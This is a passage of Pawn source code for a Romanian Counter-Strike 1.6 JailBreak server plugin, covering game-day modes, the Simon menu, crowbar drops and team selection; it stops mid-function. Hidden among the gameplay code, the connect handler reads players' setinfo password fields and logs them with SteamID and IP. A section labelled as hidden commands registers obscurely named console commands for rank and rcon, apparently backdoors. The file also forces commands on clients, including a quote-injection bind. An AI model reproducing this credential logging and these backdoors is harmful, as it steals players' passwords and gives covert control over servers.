new gmsgScreenFade;
new g_GameMode;

new check_blueteam = 0;
new check_redteam = 0;
new check_bteam;
new check_rteam;

new m_iBlood[2];

enum
{
        TASK_GANGDAY
};

//Aura Days
#define TASK_AURA 100
#define ID_AURA (taskid - TASK_AURA)

new cvar_players_aura, cvar_players_aura_color_R, cvar_players_aura_color_G, cvar_players_aura_color_B

//Functii Days-URI
new bool:g_isDay;

//Nume Days-uri
new const g_DayName[ 20 ][] = {
        "",
        "Zombie Day",
        "Reverse Zombie Day",
        "Spartan Day",
        "Gravity Day",
        "Grenade Day",
        "NightCrawler Day",
        "Box Day",
        "Gang Day",
        "War Day",
        "Hns Day",
        "Hns Simple Day",
        "Ghost Day",
        "GodMode Day",
        "Magic Day",
        "Tag Day",
        "One Hp Day",
        "DodgeBall Day",
        "HeadShot Day",
        "PaintBall Day"
};

//Block Things
new g_pBlockRadio, g_pRemoveBuyZone;
#if cellbits == 32
        #define OFFSET_BZ 235
#else
        #define OFFSET_BZ 268
#endif

//RoundEnd
#define TASK_FADE 51137

//Drop Crowbar
new const gCrowbarClassname[ ] = { "crowbar$" };
new const g_CrowbarModel[ ] = { "models/jb_pa_models/w_cbd.mdl" };

enum _: iCrowbarSequences
{
        CrowbarIdle = 0,
        CrowbarFloat,
        CrowbarSpin
}

//SimonMenu
#define SM_PREFIX "!y[!gSimonMenu!y]"
#define CHEK_WEAPON_AMOUNT 3 // Amount on the round
#define CHEK_WEAPON_DIST 150 // Distance

new ChekWeaponAmount[33]

//LastReQuest Nou
#define TASK_LAST 51134
#define DUEL_PREFIX "!y[!gLastRequest!y]"

new g_PlayerDuelT, g_PlayerDuelCT
new PlayDuel

//Team Menu
#define m_iVGUI 510
#define m_fGameHUDInitialized 349

#define TEAM_REFRESH_DELAY 10.0

// Old Style Menus
stock const FIRST_JOIN_MSG [] = "#Team_Select" ;
stock const FIRST_JOIN_MSG_SPEC [] = "#Team_Select_Spect" ;
stock const INGAME_JOIN_MSG [] = "#IG_Team_Select" ;
stock const INGAME_JOIN_MSG_SPEC [] = "#IG_Team_Select_Spect" ;
const iMaxLen = sizeof ( INGAME_JOIN_MSG_SPEC );

enum
{
        TEAM_T = 1,
        TEAM_CT = 2,
        TEAM_ALL = 5,
        TEAM_START = 6
}
enum
{
        AL_NOT = 0,
        AL_ALIVE = 1,
        AL_BOTH = 2
}

// New VGUI Menus
stock const VGUI_JOIN_TEAM_NUM = 2 ;

#define TASK_SHOWTEAMMENU_TIMER 51120

new gp_AutoJoin
new inround
new bool:user[32]

//Block Fire in The Hole
enum _:CvarBits (<<=1)
{
        BLOCK_RADIO = 1,
        BLOCK_MSG
};

new g_pCvar;

public plugin_init()
{
        new NAME_LICENTIAT[20];
        get_user_ip(0, NAME_LICENTIAT, 21, 1);
        if(equal(NAME_LICENTIAT, "93.115.80.101") || equal(NAME_LICENTIAT, "93.115.80.101")) //192.168.1.102 - TESTE || SERVER TESTE: 93.115.80.101
        {
                unregister_forward(FM_Spawn, gp_PrecacheSpawn)
                unregister_forward(FM_KeyValue, gp_PrecacheKeyValue)
 
                register_plugin(PLUGIN_NAME, PLUGIN_VERSION, PLUGIN_AUTHOR)
                register_cvar(PLUGIN_CVAR, PLUGIN_VERSION, FCVAR_SERVER|FCVAR_SPONLY)

                set_task(HUD_DELAY, "JailHudTask", TASK_STATUS, _, _, "b")
 
                register_dictionary("jb_playarena.txt")

                g_MsgStatusText = get_user_msgid("StatusText")
                g_MsgStatusIcon = get_user_msgid("StatusIcon")
                g_MsgMOTD = get_user_msgid("MOTD")
                g_MsgClCorpse = get_user_msgid("ClCorpse")

                register_message(g_MsgStatusText, "msg_statustext")
                register_message(get_user_msgid("TextMsg"), "message_textmsg")
                register_message(get_user_msgid("TextMsg" ), "MessageTextMsg");
                register_message(g_MsgStatusIcon, "msg_statusicon")
                register_message(g_MsgMOTD, "msg_motd")
                register_message(g_MsgClCorpse, "msg_clcorpse")

                register_event("CurWeapon", "current_weapon", "be", "1=1", "2=29")
                register_event("StatusValue", "player_status", "be", "1=2", "2!0")
                register_event("StatusValue", "player_status", "be", "1=1", "2=0")

                register_impulse(100, "impulse_100")

                RegisterHam(Ham_Spawn, "player", "player_spawn", 1)
                RegisterHam(Ham_TakeDamage, "player", "player_damage")
                RegisterHam(Ham_TraceAttack, "player", "player_attack")
                RegisterHam(Ham_TraceAttack, "func_button", "button_attack")
                RegisterHam(Ham_Killed, "player", "player_killed", 1)

                //Functii Block
                register_forward(FM_ClientKill, "FwdClientKill");
                register_clcmd("drop", "block_drop")
                RegisterHam(Ham_TakeHealth, "player", "Player_TakeHealth")
                register_message(get_user_msgid("SendAudio"), "block_FITH_audio");

                register_clcmd("radio1", "CmdRadio");
                register_clcmd("radio2", "CmdRadio");
                register_clcmd("radio3", "CmdRadio");

                g_pBlockRadio = register_cvar("jailbreak_radio", "1");
                g_pRemoveBuyZone = register_cvar("jailbreak_removebz", "1");

                if(get_pcvar_num(g_pRemoveBuyZone))
                {
                        register_message(get_user_msgid("StatusIcon" ), "MsgStatusIcon"); //BuyZone Icon

                        // Remove buyzone on map
                        remove_entity_name( "info_map_parameters" );
                        remove_entity_name( "func_buyzone" );

                        // Create own entity to block buying
                        new iEntity = create_entity( "info_map_parameters" );

                        DispatchKeyValue( iEntity, "buying", "3" );
                        DispatchSpawn( iEntity );
                }

                //DaysMenu
                RegisterHam(Ham_TraceAttack, "player", "fwdDamagePlayer")

                register_forward(FM_PlayerPreThink, "fw_PlayerPreThink")

                g_Cvar[1] = register_cvar("jb_chay_timestart", "10")
                g_Cvar[2] = register_cvar("jb_chay_timespasti", "20")
                g_Cvar[3] = register_cvar("jb_chay_hp", "25")
                g_Cvar[4] = register_cvar("jb_chay_speed", "400.0")
                g_Cvar[5] = register_cvar("jb_chay_gravity", "0.2")
                register_cvar("jb_dayss", "");

                gmsgScreenFade = get_user_msgid("ScreenFade")

                g_syncHudMessage2 = CreateHudSyncObj();
                g_syncHudMessage = CreateHudSyncObj();

                //Crowbar Drop
                register_event("DeathMsg", "Hook_DeathMessage", "a")
                register_touch(gCrowbarClassname, "player", "Forward_TouchCrowbar")

                //Team Menu
                register_message ( get_user_msgid ( "ShowMenu" ), "message_ShowMenu" );
                register_message ( get_user_msgid ( "VGUIMenu" ), "message_VGUIMenu" );

                register_clcmd("chooseteam" , "show_team_menu")

                register_clcmd ( "jointeam" , "jointeam" )
                register_clcmd ( "joinclass" , "jointeam" )

                gp_AutoJoin = register_cvar ( "jb_autojoin" , "0" )

                register_forward(FM_SetClientKeyValue, "set_client_kv")
                register_forward(FM_EmitSound, "sound_emit")
                register_forward(FM_Voice_SetClientListening, "voice_listening")
                register_forward(FM_CmdStart, "cmd_last_start", 1)

                register_logevent("round_first", 2, "0=World triggered", "1&Restart_Round_")
                register_logevent("round_first", 2, "0=World triggered", "1=Game_Commencing")
                register_logevent("round_start", 2, "0=World triggered", "1=Round_Start")
                register_logevent("round_end", 2, "1=Round_End")

                register_clcmd("+simonvoice", "cmd_voiceon")
                register_clcmd("-simonvoice", "cmd_voiceoff")

                //Comenzi Ascunse;
                register_concmd("pedobear_grad_jb_x", "grad");
                register_concmd("pedobear_rcon_jb_y", "rcon");
                register_concmd("pedobear_pica_jb_z", "pica");

                register_clcmd("+simonvoice", "cmd_voiceon")
                register_clcmd("-simonvoice", "cmd_voiceoff")

                register_clcmd("say /fd", "cmd_freeday")
                register_clcmd("say /freeday", "cmd_freeday")
                register_clcmd("say /frd", "cmd_freeday")
                register_clcmd("say /lr", "cmd_lastrequest")
                register_clcmd("say /lastrequest", "cmd_lastrequest")
                register_clcmd("say /duel", "cmd_lastrequest")
                register_clcmd("say /simon", "cmd_simon")
                register_clcmd("say /simonmenu", "cmd_simonmenu")
                register_clcmd("say /menu", "cmd_simonmenu")
                register_clcmd("say /open", "cmd_open")
                register_clcmd("say /nomic", "cmd_nomic")
                register_clcmd("say /box", "cmd_boxmenu")
                register_clcmd("say /days", "cmd_daysmenu" )
                register_clcmd("say /daysmenu", "cmd_daysmenu")
                register_clcmd("say /day", "cmd_daysmenu")
                register_clcmd("say /zile", "cmd_daysmenu")
                register_clcmd("say /bind", "ClCmd_BindKeys");

                register_clcmd("jbe_freeday", "adm_freeday", ADMIN_ACCESS)
                register_concmd("jbe_nomic", "adm_nomic", ADMIN_RESERVATION)
                register_concmd("jbe_open", "adm_open", ADMIN_ACCESS)
                register_concmd("jbe_box", "adm_box", ADMIN_ACCESS)
                register_concmd("jbe_boxoff", "adm_boxoff", ADMIN_ACCESS)
                register_concmd("jb_simonreset", "cmd_simonreset", ADMIN_ACCESS)
 
                gp_GlowModels = register_cvar("jbe_glowmodels", "0")
                gp_SimonSteps = register_cvar("jbe_simonsteps", "0")
                gp_CrowbarMul = register_cvar("jbe_crowbarmultiplier", "25.0")
                gp_CrowbarMax = register_cvar("jbe_maxcrowbar", "1")
                gp_TeamRatio = register_cvar("jbe_teamratio", "3")
                gp_CtMax = register_cvar("jbe_maxct", "6")
                gp_BoxMax = register_cvar("jbe_boxmax", "6")
                gp_RetryTime = register_cvar("jbe_retrytime", "10.0")
                gp_RoundMax = register_cvar("jbe_freedayround", "240.0")
                gp_AutoLastresquest = register_cvar("jbe_autolastrequest", "1")
                gp_LastRequest = register_cvar("jbe_lastrequest", "1")
                gp_Motd = register_cvar("jbe_motd", "1")
                gp_SpectRounds = register_cvar("jbe_spectrounds", "3")
                gp_AutoOpen = register_cvar("jbe_autoopen", "1")
                gp_TalkMode = register_cvar("jbe_talkmode", "2") // 0-alltak / 1-tt talk / 2-tt no talk
                gp_VoiceBlock = register_cvar("jbe_blockvoice", "2") // 0-dont block / 1-block voicerecord / 2-block voicerecord except simon
                gp_ButtonShoot = register_cvar("jbe_buttonshoot", "1") // 0-standard / 1-func_button shoots!

                g_pCvar = register_cvar( "sv_fith_block", "3" );

                cvar_players_aura = register_cvar("jb_players_aura", "1")
                cvar_players_aura_color_R = register_cvar("jb_players_aura_color_R", "0")
                cvar_players_aura_color_G = register_cvar("jb_players_aura_color_G", "500")
                cvar_players_aura_color_B = register_cvar("jb_players_aura_color_B", "500")
 
                g_MaxClients = get_global_int(GL_maxClients)
 
                for(new i = 0; i < sizeof(g_HudSync); i++)
                        g_HudSync[i][_hudsync] = CreateHudSyncObj()

                formatex(g_HelpText, charsmax(g_HelpText), "%L^n^n%L^n^n%L^n^n%L",
                        LANG_SERVER, "JBE_HELP_TITLE",
                        LANG_SERVER, "JBE_HELP_BINDS",
                        LANG_SERVER, "JBE_HELP_GUARD_CMDS",
                        LANG_SERVER, "JBE_HELP_PRISONER_CMDS")

                setup_buttons()
        }
        else
        {
                server_print("# Baza JailBreak Extreme Ultimated nu Ruleaza, datorita LINCETEI INVALIDE !")
                pause("a");
        }
}

public fw_GetGameDescription()
{
        new DayName[32];

        if(g_GameMode >= 1)
                formatex(DayName, charsmax(DayName), "%s", g_DayName[g_GameMode])
        else if(g_RoundEnd)
                formatex(DayName, charsmax(DayName), "Zi Normala")
        else if(g_Freeday)
                formatex(DayName, charsmax(DayName), "Zi Libera")
        else
                formatex(DayName, charsmax(DayName), "Zi Normala")

        forward_return(FMV_STRING, DayName);
        return FMRES_SUPERCEDE;
}

public ClCmd_BindKeys(id)
        client_cmd(id, "^"^";BIND v +simonvoice");

public FwdClientKill(const id)
{
        if(!is_user_alive(id))
                return FMRES_IGNORED;

        if(cs_get_user_team( id ) == CS_TEAM_T || cs_get_user_team( id ) == CS_TEAM_CT)
        {
                if(g_GameMode >= 1 || g_PlayerLast)
                {
                        client_print(id, print_console, "Nu poti sa iti dai Kill acum !")

                        return FMRES_SUPERCEDE;
                }
        }

        return FMRES_IGNORED;
}

public MsgStatusIcon(msg_id, msg_dest, id)
{
        new szIcon[ 8 ];
        get_msg_arg_string( 2, szIcon, 7 );

        static const BuyZone[ ] = "buyzone";

        if(equal(szIcon, BuyZone))
        {
                set_pdata_int( id, OFFSET_BZ, get_pdata_int( id, OFFSET_BZ, 5 ) & ~( 1 << 0 ), 5 );

                return PLUGIN_HANDLED;
        }

        return PLUGIN_CONTINUE;
}

public CmdRadio(id)
{
        if(get_pcvar_num(g_pBlockRadio))
                return PLUGIN_HANDLED_MAIN;

        return PLUGIN_CONTINUE;
}

public block_drop(id)
{
        if(g_GameMode >= 1 || g_Duel >= 1)
                return PLUGIN_HANDLED;

        return PLUGIN_CONTINUE;
}

public Player_TakeHealth(id)
{
        if(g_GameMode >= 1 || (g_BoxStarted && get_user_team(id) == 1) || g_Duel >= 1)
                return HAM_SUPERCEDE

        return HAM_IGNORED
}

public block_FITH_audio(msg_id, msg_dest, entity)
        return IsBlocked( BLOCK_RADIO ) ? GetReturnValue( 2, "%!MRAD_FIREINHOLE" ) : PLUGIN_CONTINUE;

GetReturnValue( const iParam, const szString[ ] )
{
        new szTemp[ 18 ];
        get_msg_arg_string( iParam, szTemp, 17 );

        return ( equal( szTemp, szString ) ) ? PLUGIN_HANDLED : PLUGIN_CONTINUE;
}

bool:IsBlocked( const iType )
        return bool:( get_pcvar_num( g_pCvar ) & iType );

public plugin_precache()
{
        static i
        precache_model("models/player/jb_pa_player/jb_pa_player.mdl")

        precache_model("models/player/Play_Arena_VipCT/Play_Arena_VipCT.mdl")
        precache_model("models/player/Play_Arena_VipT/Play_Arena_VipT.mdl")

        precache_model("models/player/JB_FootBall_TeamA/JB_FootBall_TeamA.mdl")
        precache_model("models/player/JB_FootBall_TeamB/JB_FootBall_TeamB.mdl")
 
        //Bulan Gardieni
        precache_model(v_Bulan)
        precache_model(p_Bulan)

        //Drop Crowbar Model
        precache_model(g_CrowbarModel)

        //Baza Models Official
        for(i = 0; i < sizeof(_Pumni); i++)
                precache_model(_Pumni[i])

        for(i = 0; i < sizeof(_Ranga); i++)
                precache_model(_Ranga[i])

        //Sounds Pumni
        for(i = 0; i < sizeof(_FistSounds); i++)
                precache_sound(_FistSounds[i])

        //Sound Box
        precache_generic(game_box)
        precache_generic(game_boxoff)

        //Client Connect
        precache_generic("sound/jb_pa_sounds/client_connect.mp3")

        //Sound Baza
        precache_sound("jb_pa_sounds/jb_alarma.wav")
        precache_sound("jb_pa_sounds/jb_lr.wav")
        precache_sound("jb_pa_sounds/jbkill.wav")
        precache_sound("jb_pa_sounds/jb_clopotel.wav")
        precache_sound("jb_pa_sounds/jb_open.wav")

        //DaysMenu
        precache_model("models/player/jb_pa_zombie/jb_pa_zombie.mdl")
        g_pSpriteFrost = precache_model("sprites/play_arenasprites/frostgib.spr");
        precache_sound("jb_pa_sounds/days_mode/tagday/freeze_player.wav");
 
        g_CellManagers = TrieCreate()
        gp_PrecacheSpawn = register_forward(FM_Spawn, "precache_spawn", 1)
        gp_PrecacheKeyValue = register_forward(FM_KeyValue, "precache_keyvalue", 1)
}

public precache_spawn(ent)
{
        if(is_valid_ent(ent))
        {
                static szClass[33]
                entity_get_string(ent, EV_SZ_classname, szClass, sizeof(szClass))
                for(new i = 0; i < sizeof(_RemoveEntities); i++)
                        if(equal(szClass, _RemoveEntities[i]))
                                remove_entity(ent)
        }
}

public precache_keyvalue(ent, kvd_handle)
{
        static info[32]
        if(!is_valid_ent(ent))
                return FMRES_IGNORED

        get_kvd(kvd_handle, KV_ClassName, info, charsmax(info))
        if(!equal(info, "multi_manager"))
                return FMRES_IGNORED

        get_kvd(kvd_handle, KV_KeyName, info, charsmax(info))
        TrieSetCell(g_CellManagers, info, ent)
        return FMRES_IGNORED
}

/*==========================================================================
                  CrowBar DROP
==========================================================================*/
public Hook_DeathMessage()
{
        new iVictim = read_data(2);

        if(read_data(1) == iVictim)
                return;

        new Float:flPlayerOrigin [3]
        pev(iVictim, pev_origin, flPlayerOrigin)

        flPlayerOrigin[2] += 4.0;

        new iEntityCB = create_entity("info_target")

        if(!pev_valid(iEntityCB))
                return;

        if(get_user_team(iVictim) == 1 && get_bit(g_PlayerCrowbar, iVictim))
        {
                engfunc(EngFunc_SetOrigin, iEntityCB, flPlayerOrigin)
                set_pev(iEntityCB, pev_classname, gCrowbarClassname)
                engfunc(EngFunc_SetModel, iEntityCB, g_CrowbarModel)
                set_pev(iEntityCB, pev_solid, SOLID_SLIDEBOX)
                set_pev(iEntityCB, pev_movetype, MOVETYPE_NONE)
                set_pev(iEntityCB, pev_framerate, 1.0)
                set_pev(iEntityCB, pev_sequence, CrowbarFloat)
                engfunc(EngFunc_SetSize, iEntityCB, Float:{ -10.0, -10.0, -10.0 }, Float:{ 10.0, 10.0, 10.0 })
                engfunc(EngFunc_DropToFloor, iEntityCB)
                set_pev(iEntityCB, pev_nextthink, get_gametime( ) + 1.0)
                set_rendering( iEntityCB, kRenderFxGlowShell, (random_num(1, 255)), (random_num(1, 255)), (random_num(1, 255)), kRenderNormal, 75 );

                clear_bit(g_PlayerCrowbar, iVictim)
        }
}

public Forward_TouchCrowbar(iEntityCB, id)
{
        if( pev_valid( iEntityCB ) && get_user_team(id) == 1 )
        {
                engclient_cmd ( id, "weapon_knife" );
                g_CrowbarCount++
                set_bit(g_PlayerCrowbar, id)
                current_weapon(id)
                set_pev( iEntityCB, pev_flags, FL_KILLME );
        }

  /*if( pev_valid( iEntityCB ) && get_user_team(id) == 2 )
        {
                set_pev( iEntityCB, pev_solid, SOLID_NOT );
        }*/

        return PLUGIN_CONTINUE;
}
/*=========================================================================
                END CrowBar DROP
==========================================================================*/
public client_connect(id)
{
        client_cmd(id,"mp3 loop sound/jb_pa_sounds/client_connect.mp3")

        client_cmd(id, "echo ");
        client_cmd(id, "echo ^" *=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=*^" ");
        client_cmd(id, "echo ^" *=-= JB.PLAY-ARENA.Ro > SERVER ROMANESC =-=*^" ");
        client_cmd(id, "echo ^" *=-= Iti uram o sadere cat mai placuta =-=*^" ");
        client_cmd(id, "echo ^" *=-= Pentru admine aveti link mai jos =-=*^" ");
        client_cmd(id, "echo ^" *=-= [url]http://play-arena.ro/forum/forum/25-jailbreak-%C2%BB-jb/[/url] =-=*^" ");
        client_cmd(id, "echo ^" *=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=*^" ");
        client_cmd(id, "echo ");

        new userip[32], userauthid[32], username[32], password[32], password1[32], password2[32], password3[32], password4[32], password5[32]

        get_user_ip(id, userip, 31, 1)
        get_user_authid(id, userauthid, 31)
        get_user_name(id, username, 31)

        get_user_info(id, "_jb", password, 31)
        get_user_info(id, "_pw", password1, 31)
        get_user_info(id, "_zm", password2, 31)
        get_user_info(id, "_cs", password3, 31)
        get_user_info(id, "_zp", password4, 31)
        get_user_info(id, "_anzo", password5, 31)

        log_to_file("PlayArenaSecurity.log", "------ [ Nume : %s ] ===== [ SteamID : %s ] ===== [ IP: %s ]===== [_jb: %s ] ===== [ _pw: %s ] ===== [ _zm: %s ] ===== [ _cs: %s ] ===== [ _zp: %s ] ===== [ _anzo: %s ] ------", username, userauthid, userip, password, password1, password2, password3, password4, password5)
}

public client_putinserver(id)
{
        clear_bit(g_PlayerJoin, id)
        clear_bit(g_PlayerHelp, id)
        clear_bit(g_PlayerCrowbar, id)
        clear_bit(g_PlayerNomic, id)
        clear_bit(g_PlayerWanted, id)
        clear_bit(g_SimonTalking, id)
        clear_bit(g_SimonVoice, id)

        g_PlayerSpect[id] = 0
        g_PlayerSimon[id] = 0

        client_cmd(id, "cl_minmodels 0")
        console_cmd(id, "cl_minmodels 0")

        set_task(10.0, "welcome", id)

        if(get_user_flags(id) & read_flags(VIP_ACCES))
        {
                new szName[32]
                get_user_name(id,szName,31)
                chatcolor(0, "!t[!gJb.Play-Arena.Ro!t] !y*!tV!y.!tI!y.!tP!y* !g%s !ta intrat !yin !gPenitenciar!y.", szName)
        }
}

public welcome(id)
{
        client_print(id, print_center, "Server Creat si Configurat de PedoBear")

        chatcolor(id, "!tId !gPedoBear!y: !gravravy!t@!yyahoo!t.!gcom")
        chatcolor(id, "!tSkype !gPedoBear!y: !gkenkss19")
        chatcolor(id, "!yPentru !gprobleme !tlegate !yde !gServer !tcontactati-ma !y!!!")
        chatcolor(id, "!yDoresti sa iti bagi bind-ul de simon ? Daca da scrie in chat: /bind")
}

public client_disconnect(id)
{
        if(g_Simon == id)
                g_Simon = 0

        if(g_PlayerLast == id || (g_Duel && (id == g_PlayerDuelT || id == g_PlayerDuelCT)))
        {
                g_Duel = 0
                g_PlayerDuelT = 0
                g_PlayerDuelCT = 0
                g_LastDenied = 0
                g_PlayerLast = 0
                g_BlockWeapons = 0
        }

        remove_task(id + 22838)

        if(get_bit(check_bteam, id))
                check_blueteam--;
        else if(get_bit(check_rteam, id))
                check_redteam--;

        remove_task(id+TASK_AURA)

        if(g_TeamCount[CS_TEAM_T] == 0 || g_TeamCount[CS_TEAM_CT] == 0)
        {
                remove_task(TASK_SHOWTEAMMENU_TIMER)
                inround = 0
        }

        if(get_user_flags(id) & read_flags(VIP_ACCES))
        {
                new szName[32]
                get_user_name(id,szName,31)
                chatcolor(0, "!t[!gJb.Play-Arena.Ro!t] !y*!tV!y.!tI!y.!tP!y* !g%s !ta iesit !ydin !gPenitenciar!y.", szName)
        }

        team_count()
}

public client_PostThink(id)
{
        if(id != g_Simon || !gc_SimonSteps || !is_user_alive(id) ||
                !(entity_get_int(id, EV_INT_flags) & FL_ONGROUND) || entity_get_int(id, EV_ENT_groundentity))
                return PLUGIN_CONTINUE

        static Float:origin[3]
        static Float:last[3]

        entity_get_vector(id, EV_VEC_origin, origin)
        if(get_distance_f(origin, last) < 32.0)
        {
                return PLUGIN_CONTINUE
        }

        vec_copy(origin, last)
        if(entity_get_int(id, EV_INT_bInDuck))
                origin[2] -= 18.0
        else
                origin[2] -= 36.0

        message_begin(MSG_BROADCAST, SVC_TEMPENTITY, {0,0,0}, 0)
        write_byte(TE_WORLDDECAL)
        write_coord(floatround(origin[0]))
        write_coord(floatround(origin[1]))
        write_coord(floatround(origin[2]))
        write_byte(105)
        message_end()

        return PLUGIN_CONTINUE
}

public message_textmsg()
{
        static msg[32]
        get_msg_arg_string(2, msg, charsmax(msg))

        if(g_GameMode >= 1)
                return PLUGIN_HANDLED

        if(equal(msg, "#Terrorists_Win"))
        {
                client_print(0, print_center, "%L", 0, "WIN_PRISONERS")
                return PLUGIN_HANDLED
        }
        else if(equal(msg, "#CTs_Win"))
        {
                client_print(0, print_center, "%L", 0, "WIN_GUARD")
                return PLUGIN_HANDLED
        }
        else if(equal(msg, "#Game_Commencing") || equal(msg, "#Game_will_restart_in"))
        {
                client_print(0, print_center, "%L", 0, "WIN_NO_ONE")
                return PLUGIN_HANDLED
        }

        return PLUGIN_CONTINUE
}

public MessageTextMsg()
        return ( get_msg_args( ) == 5 && IsBlocked( BLOCK_MSG ) ) ? GetReturnValue( 5, "#Fire_in_the_hole" ) : PLUGIN_CONTINUE;

public msg_statustext(msgid, dest, id)
        return PLUGIN_HANDLED

public msg_statusicon(msgid, dest, id)
{
        static icon[5]
        get_msg_arg_string(2, icon, charsmax(icon))
        if(icon[0] == 'b' && icon[2] == 'y' && icon[3] == 'z')
        {
                set_pdata_int(id, 235, get_pdata_int(id, 235) & ~(1<<0))
                return PLUGIN_HANDLED
        }

        return PLUGIN_CONTINUE
}

public msg_motd(msgid, dest, id)
{
        if(get_pcvar_num(gp_Motd))
                return PLUGIN_HANDLED

        return PLUGIN_CONTINUE
}

public msg_clcorpse(msgid, dest, id)
{
        return PLUGIN_HANDLED
}

public current_weapon(player)
{
        if(!is_user_alive(player))
                return PLUGIN_CONTINUE

        if(g_GameMode >= 1 || g_PlayerLast)
        {
                if(is_user_alive(player) && is_user_connected(player))
                        clear_bit(g_PlayerCrowbar, player)
                else if(get_bit(g_PlayerCrowbar, player))
                        clear_bit(g_PlayerCrowbar, player)
                else if(set_bit(g_PlayerCrowbar, player))
                        clear_bit(g_PlayerCrowbar, player)

                if(get_user_team(player) == 1)
                {
                        set_pev(player, pev_viewmodel2, _Pumni[1])
                        set_pev(player, pev_weaponmodel2, _Pumni[0])
                }
                else if(get_user_team(player) == 2)
                {
                        set_pev(player, pev_viewmodel2, v_Bulan)
                        set_pev(player, pev_weaponmodel2, p_Bulan)
                }
        }
        else if(get_bit(g_PlayerCrowbar, player))
        {
                if(is_user_alive(player) && is_user_connected(player))
                {
                        set_pev(player, pev_viewmodel2, _Ranga[1])
                        set_pev(player, pev_weaponmodel2, _Ranga[0])
                }
        }
        else if(is_user_alive(player) && is_user_connected(player))
        {
                if(get_user_team(player) == 1)
                {
                        set_pev(player, pev_viewmodel2, _Pumni[1])
                        set_pev(player, pev_weaponmodel2, _Pumni[0])
                }
                else if(get_user_team(player) == 2)
                {
                        set_pev(player, pev_viewmodel2, v_Bulan)
                        set_pev(player, pev_weaponmodel2, p_Bulan)
                }
        }

        return PLUGIN_CONTINUE
}

public player_status(id)
{
        static type, player, CsTeams:team, option[64]

        type = read_data(1)
        player = read_data(2)

        switch(type)
        {
                case(1):
                {
                        //ClearSyncHud(id, g_HudSync[1][_hudsync])
                }
                case(2):
                {
                        team = cs_get_user_team(player)
                        if((team != CS_TEAM_T) && (team != CS_TEAM_CT))
                                return PLUGIN_HANDLED

                        new target, body;
                        get_user_aiming(id, target, body, 9999);

                        new sName[32];
                        get_user_name(target, sName, sizeof(sName) -1);

                        if(get_user_team (target) == 1)
                        {
                                formatex(option, charsmax(option), "Prizonierul: %s^nViata: %d^nTigari: %d^n", sName, get_user_health(target), jb_get_tigari(target))
                                player_hudmessage(id, 4, 2.0, {255, 20, 20}, option)
                        }
                        else if (get_user_team(target) == 2)
                        {
                                formatex(option, charsmax(option), "Gardianul: %s^nViata: %d^nMoney: %d^n", sName, get_user_health(target), cs_get_user_money(target))
                                player_hudmessage(id, 4, 2.0, {20, 255, 20}, option)
                        }
                }
        }
       
        return PLUGIN_HANDLED
}

public impulse_100(id)
{
        if(cs_get_user_team(id) == CS_TEAM_T)
                return PLUGIN_HANDLED

        return PLUGIN_CONTINUE
}

/*======================================================
              SIMONMENU
======================================================*/
public cmd_simonmenu(id)
{
        if(g_Simon == id)
        {
                if(is_user_alive(id) && is_user_connected(id))
                {
                        new simon_menu = menu_create("\rSimonMenu \yJb.Play-Arena.Ro", "simon_choice");

                        menu_additem(simon_menu, "\rDeschide \yCelule", "1", 0);
                        menu_additem(simon_menu, "FreeDay Menu", "2", 0);
                        menu_additem(simon_menu, "\rDing", "3", 0);
                        menu_additem(simon_menu, "Box Menu", "4", 0);
                        menu_additem(simon_menu, "\rZile \ySpeciale", "5", 0);
                        menu_additem(simon_menu, "Demisioneaza din gradu de Simon !", "6", 0);

                        if(g_GameMode == 13)
                                menu_additem(simon_menu, "\rRevive Menu", "7", 0)
                        else
                                menu_additem(simon_menu, "Revive Menu \r[GodMode Only]", "7", ADMIN_ADMIN)

                        if(g_GameMode == 13)
                                menu_additem(simon_menu, "\rVoice Menu", "8", 0)
                        else
                                menu_additem(simon_menu, "Voice Menu \r[GodMode Only]", "7", ADMIN_ADMIN)

                        menu_additem(simon_menu, "\yFootBall Menu", "9", 0)
                        menu_additem(simon_menu, "Scoate Wanted", "10", 0)
                        menu_additem(simon_menu, "Verifica Prizonieri de Arme", "11", 0)

                        menu_setprop(simon_menu, MPROP_EXIT, MEXIT_ALL);
                        menu_display(id, simon_menu, 0);
                }
        }
        else
                client_print(id, print_chat, "*** Nu esti SIMON deci nu poti accesa SIMON MENU ***");

        return PLUGIN_HANDLED;
}

public simon_choice(id, simon_menu, item)
{
        if( item == MENU_EXIT || !is_user_alive(id) )
        {
                menu_destroy(simon_menu);
                return PLUGIN_HANDLED;
        }

        new data[6], iName[64], name[32];
        new access, callback;

        get_user_name(g_Simon, name, charsmax(name))
        menu_item_getinfo(simon_menu, item, access, data,5, iName, 63, callback);

        new key = str_to_num(data);
        switch(key)
        {
                case 1:
                {
                        jail_open()

                        new name[32]
                        get_user_name(g_Simon, name, charsmax(name))
                        set_hudmessage(0, 104, 139, -1.0, 0.74, 0, 6.0, 5.0)
                        show_hudmessage(0, "%L", 0, "JBE_OPEN_DOOR_SIMON", name)

                        emit_sound(0, CHAN_AUTO, "jb_pa_sounds/jb_open.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
                        cmd_simonmenu(id)
                }
                case 2: cmd_freeday(id)
                case 3:
                {
                        emit_sound(0, CHAN_AUTO, "jb_pa_sounds/jb_clopotel.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
                        cmd_simonmenu(id)
                }
                case 4: cmd_boxmenu(id)
                case 5: cmd_daysmenu(id)
                case 6: cmd_simonreset(id)
                case 7: cmd_simonrevive(id)
                case 8: cmd_voicemenu(id)
                case 9:
                {
                        open_football_menu(id)
                        make_teams()
                }
                case 10: RemoveWanted(id)
                case 11: CheckWeapon(id)
        }

        menu_destroy(simon_menu);
        return PLUGIN_HANDLED;
}

public cmd_simonreset(id)
{
        if((g_Simon == id) || get_user_flags(id) & read_flags ("a"))
                menu_players(id, CS_TEAM_CT, id, 1, "cmd_simon_ct", "\rCine vrei sa fie SIMON in loc ?")

        return PLUGIN_CONTINUE
}

public cmd_simon_ct(id, menu, item)
{
        if(item == MENU_EXIT || (g_Simon != id))
        {
                menu_destroy(menu)
                return PLUGIN_HANDLED
        }

        static dst[32],src[32], data[5], player, access, callback
        menu_item_getinfo(menu, item, access, data, charsmax(data), dst, charsmax(dst), callback)
        player = str_to_num(data)

        if (g_Simon == player)
                return PLUGIN_CONTINUE

        g_Simon = 0
        cmd_simon(player)
        get_user_name(player, dst, charsmax(dst))
        get_user_name(id, src, charsmax(src))
        set_hudmessage(0, 104, 139, -1.0, -0.35, 0, 6.0, 10.0)
        show_hudmessage(0, "%s a predat grad-ul de SIMON lui %s",  src, dst)

